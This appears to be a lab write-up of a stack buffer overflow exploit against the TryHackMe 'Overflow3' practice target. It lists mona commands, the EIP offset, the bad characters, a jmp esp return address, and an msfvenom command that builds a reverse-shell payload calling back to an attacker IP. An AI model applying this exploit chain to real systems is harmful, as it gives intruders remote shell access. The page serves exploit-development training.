> For the complete documentation index, see [llms.txt](https://infintesky.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://infintesky.gitbook.io/pentesting/buffer-overflow/tryhackme-practice/overflow3.md).

# Overflow3

### 1. Fuzz application to find number of bytes needed to crash the application

Bytes needed to crash application: 1300

### 2. Set mona configuration

`!mona config -set workingfolder c:\mona\%p`

### 3. Find `EIP` offset

`/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1300`

`!mona findmsp -distance 1300`

EIP offset: 1274

### 4. Find bad characters

`!mona bytearray -b "\x00"`

`!mona compare -f C:\mona\oscp\bytearray.bin -a <ESP address>`

Bad characters: `\x00\x11\x40\x5f\xb8\xee`

### 5. Find `jmp esp` instruction sets without any bad characters

`!mona jmp -r esp -cpb "\x00\x11\x40\x5f\xb8\xee"`

Return address: `0x62501203`

### 6. Generate shellcode

`msfvenom -p windows/shell_reverse_tcp LHOST=10.9.141.31 LPORT=4444 EXITFUNC=thread -b "\x00\x11\x40\x5f\xb8\xee" -f c`

### 7. Set `nop` sled in padding

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FxVm1GrCA3NOjxM87Qx4K%2Fimage.png?alt=media\&token=474502f1-ab01-48f7-89f0-f4849c236bed)